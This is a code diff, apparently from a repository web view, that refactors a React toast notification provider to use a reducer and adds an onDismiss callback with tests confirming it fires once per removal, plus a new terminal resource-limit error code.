act(() => toast.dismiss(id))
|
||||
|
||||
expect(onDismiss).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('runs dismissal cleanup when a toast is added and removed in one batch', () => {
|
||||
mountProvider()
|
||||
const onDismiss = vi.fn()
|
||||
let id = ''
|
||||
|
||||
act(() => {
|
||||
id = toast.info('Permission requested', { onDismiss, duration: 0 })
|
||||
toast.dismiss(id)
|
||||
})
|
||||
|
||||
expect(onDismiss).toHaveBeenCalledOnce()
|
||||
act(() => toast.dismiss(id))
|
||||
expect(onDismiss).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('runs dismissal cleanup when stack admission evicts an uncommitted toast', () => {
|
||||
mountProvider()
|
||||
const onDismiss = vi.fn()
|
||||
|
||||
act(() => {
|
||||
toast.info('First', { onDismiss })
|
||||
toast.info('Second')
|
||||
toast.info('Third')
|
||||
toast.info('Fourth')
|
||||
})
|
||||
|
||||
expect(onDismiss).toHaveBeenCalledOnce()
|
||||
expect(document.body.textContent).not.toContain('First')
|
||||
})
|
||||
})
|
||||
@@ -10,6 +10,7 @@ import {
|
||||
useEffect,
|
||||
useLayoutEffect,
|
||||
useMemo,
|
||||
useReducer,
|
||||
useRef,
|
||||
useState,
|
||||
} from 'react'
|
||||
@@ -98,6 +99,72 @@ interface ToastData {
|
||||
action?: ToastAction
|
||||
duration: number
|
||||
persistAcrossRoutes: boolean
|
||||
onDismiss?: () => void
|
||||
}
|
||||
|
||||
interface ToastRemoval {
|
||||
id: string
|
||||
callback: () => void
|
||||
}
|
||||
|
||||
interface ToastState {
|
||||
toasts: ToastData[]
|
||||
removals: ToastRemoval[]
|
||||
}
|
||||
|
||||
type ToastStateAction =
|
||||
| { type: 'add'; toast: ToastData }
|
||||
| { type: 'dismiss'; id: string }
|
||||
| { type: 'dismiss-all' }
|
||||
| { type: 'sweep-route' }
|
||||
| { type: 'ack-removals'; ids: string[] }
|
||||
|
||||
const INITIAL_TOAST_STATE: ToastState = { toasts: [], removals: [] }
|
||||
|
||||
function queueToastRemovals(state: ToastState, removed: ToastData[]): ToastRemoval[] {
|
||||
const callbacks = removed.flatMap((toast) =>
|
||||
toast.onDismiss ? [{ id: toast.id, callback: toast.onDismiss }] : []
|
||||
)
|
||||
return callbacks.length > 0 ? [...state.removals, ...callbacks] : state.removals
|
||||
}
|
||||
|
||||
function toastStateReducer(state: ToastState, action: ToastStateAction): ToastState {
|
||||
if (action.type === 'add') {
|
||||
const toasts = [...state.toasts, action.toast]
|
||||
if (toasts.length <= STACK_LIMIT) return { ...state, toasts }
|
||||
const evictIndex = toasts.findIndex((toast) => toast.duration > 0)
|
||||
const [removed] = toasts.splice(evictIndex === -1 ? 0 : evictIndex, 1)
|
||||
return { toasts, removals: queueToastRemovals(state, [removed]) }
|
||||
}
|
||||
|
||||
if (action.type === 'dismiss') {
|
||||
const removed = state.toasts.find((toast) => toast.id === action.id)
|
||||
if (!removed) return state
|
||||
return {
|
||||
toasts: state.toasts.filter((toast) => toast.id !== action.id),
|
||||
removals: queueToastRemovals(state, [removed]),
|
||||
}
|
||||
}
|
||||
|
||||
if (action.type === 'dismiss-all') {
|
||||
if (state.toasts.length === 0) return state
|
||||
return { toasts: [], removals: queueToastRemovals(state, state.toasts) }
|
||||
}
|
||||
|
||||
if (action.type === 'sweep-route') {
|
||||
const removed = state.toasts.filter((toast) => !toast.persistAcrossRoutes)
|
||||
if (removed.length === 0) return state
|
||||
return {
|
||||
toasts: state.toasts.filter((toast) => toast.persistAcrossRoutes),
|
||||
removals: queueToastRemovals(state, removed),
|
||||
}
|
||||
}
|
||||
|
||||
const acknowledged = new Set(action.ids)
|
||||
return {
|
||||
...state,
|
||||
removals: state.removals.filter((removal) => !acknowledged.has(removal.id)),
|
||||
}
|
||||
}
|
||||
|
||||
type ToastInput = {
|
||||
@@ -105,6 +172,8 @@ type ToastInput = {
|
||||
description?: string
|
||||
variant?: ToastVariant
|
||||
action?: ToastAction
|
||||
/** Called once when the toast leaves the stack, regardless of how it was dismissed. */
|
||||
onDismiss?: () => void
|
||||
duration?: number
|
||||
/**
|
||||
* Keep the toast across navigation. The stack is otherwise cleared on every
|
||||
@@ -330,7 +399,12 @@ function ToastItem({ toast: t, geometry, reduceMotion, onDismiss, onMeasure }: T
|
||||
transition: reduceMotion ? { duration: 0 } : { duration: 0.15, ease: 'easeIn' },
|
||||
}}
|
||||
transition={transition}
|
||||
style={{ zIndex, transformOrigin: 'bottom', width: TOAST_WIDTH, borderRadius: cornerRadius }}
|
||||
style={{
|
||||
zIndex,
|
||||
transformOrigin: 'bottom',
|
||||
width: TOAST_WIDTH,
|
||||
borderRadius: cornerRadius,
|
||||
}}
|
||||
className='pointer-events-auto absolute right-0 bottom-0 m-0 overflow-hidden border border-[var(--border-1)] bg-[var(--bg)] shadow-[var(--shadow-overlay)]'
|
||||
>
|
||||
<div ref={contentRef} className='flex flex-col gap-2 p-2'>
|
||||
@@ -406,11 +480,12 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
|
||||
/** On the workflow editor (`/w/[id]` and the `/w` index) the stack insets by `--panel-width` / `--terminal-height` to clear the panel and terminal. */
|
||||
const isWorkflowPage = pathname ? /\/w(\/|$)/.test(pathname) : false
|
||||
|
||||
const [toasts, setToasts] = useState<ToastData[]>([])
|
||||
const [{ toasts, removals }, dispatch] = useReducer(toastStateReducer, INITIAL_TOAST_STATE)
|
||||
const [heights, setHeights] = useState<Record<string, number>>({})
|
||||
const [expanded, setExpanded] = useState(false)
|
||||
const [mounted, setMounted] = useState(false)
|
||||
const timersRef = useRef(new Map<string, ReturnType<typeof setTimeout>>())
|
||||
const processedRemovalIdsRef = useRef(new Set<string>())
|
||||
|
||||
/**
|
||||
* Clear the previous route's toasts when the route changes. Toasts flagged
|
||||
@@ -430,9 +505,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
|
||||
const [sweptPathname, setSweptPathname] = useState(pathname)
|
||||
if (pathname !== sweptPathname) {
|
||||
setSweptPathname(pathname)
|
||||
setToasts((prev) =>
|
||||
prev.some((t) => !t.persistAcrossRoutes) ? prev.filter((t) => t.persistAcrossRoutes) : prev
|
||||
)
|
||||
dispatch({ type: 'sweep-route' })
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
@@ -455,7 +528,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
|
||||
* auto-dismissable toast is evicted first, so a persistent (actionable) toast
|
||||
* isn't silently dropped — only an all-persistent overflow evicts the oldest.
|
||||
*/
|
||||
const addToast = useCallback((input: ToastInput): string => {
|
||||
const addToast = (input: ToastInput): string => {
|
||||
const id = generateId()
|
||||
const data: ToastData = {
|
||||
id,
|
||||
@@ -465,16 +538,27 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
|
||||
action: input.action,
|
||||
duration: input.duration ?? (input.action ? 0 : AUTO_DISMISS_MS),
|
||||
persistAcrossRoutes: input.persistAcrossRoutes ?? false,
|
||||
onDismiss: input.onDismiss,
|
||||
}
|
||||
setToasts((prev) => {
|
||||
const next = [...prev, data]
|
||||
if (next.length <= STACK_LIMIT) return next
|
||||
const evictIndex = next.findIndex((t) => t.duration > 0)
|
||||
next.splice(evictIndex === -1 ? 0 : evictIndex, 1)
|
||||
return next
|
||||
})
|
||||
dispatch({ type: 'add', toast: data })
|
||||
return id
|
||||
}, [])
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
const processed = processedRemovalIdsRef.current
|
||||
if (removals.length === 0) {
|
||||
processed.clear()
|
||||
return
|
||||
}
|
||||
const ids: string[] = []
|
||||
for (const removal of removals) {
|
||||
if (processed.has(removal.id)) continue
|
||||
processed.add(removal.id)
|
||||
ids.push(removal.id)
|
||||
removal.callback()
|
||||
}
|
||||
if (ids.length > 0) dispatch({ type: 'ack-removals', ids })
|
||||
}, [removals])
|
||||
|
||||
const dismissToast = useCallback((id: string) => {
|
||||
const timer = timersRef.current.get(id)
|
||||
@@ -482,7 +566,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
|
||||
clearTimeout(timer)
|
||||
timersRef.current.delete(id)
|
||||
}
|
||||
setToasts((prev) => prev.filter((t) => t.id !== id))
|
||||
dispatch({ type: 'dismiss', id })
|
||||
setHeights((prev) => {
|
||||
if (!(id in prev)) return prev
|
||||
const next = { ...prev }
|
||||
@@ -494,7 +578,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
|
||||
const dismissAllToasts = useCallback(() => {
|
||||
for (const timer of timersRef.current.values()) clearTimeout(timer)
|
||||
timersRef.current.clear()
|
||||
setToasts([])
|
||||
dispatch({ type: 'dismiss-all' })
|
||||
setHeights({})
|
||||
}, [])
|
||||
|
||||
@@ -554,7 +638,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
|
||||
}
|
||||
}, [])
|
||||
|
||||
/** Held in a ref (seeded once from the stable `addToast`) so the module-level `toast` binds to the live provider. */
|
||||
/** Held in a ref (seeded once from `addToast`) so the module-level `toast` binds to the live provider. */
|
||||
const toastFn = useRef<ToastFn>(createToastFn(addToast))
|
||||
|
||||
useEffect(() => {
|
||||
@@ -570,7 +654,11 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
|
||||
}, [dismissToast, dismissAllToasts])
|
||||
|
||||
const ctx = useMemo<ToastContextValue>(
|
||||
() => ({ toast: toastFn.current, dismiss: dismissToast, dismissAll: dismissAllToasts }),
|
||||
() => ({
|
||||
toast: toastFn.current,
|
||||
dismiss: dismissToast,
|
||||
dismissAll: dismissAllToasts,
|
||||
}),
|
||||
[dismissToast, dismissAllToasts]
|
||||
)
|
||||
|
||||
|
||||
@@ -461,6 +461,8 @@ export type TerminalErrorCode =
|
||||
*/
|
||||
| 'NO_SHELL_INTEGRATION'
|
||||
| 'SPAWN_FAILED'
|
||||
/** Opening another local shell would exceed the desktop resource ceiling. */
|
||||
| 'RESOURCE_LIMIT'
|
||||
/** No terminal with that id — the ids come from terminal_list. */
|
||||
| 'NO_SUCH_TERMINAL'
|
||||
/** The operation needs tmux, and this terminal has no tmux attached. */
|
||||
|
||||
Reference in New Issue
Block a user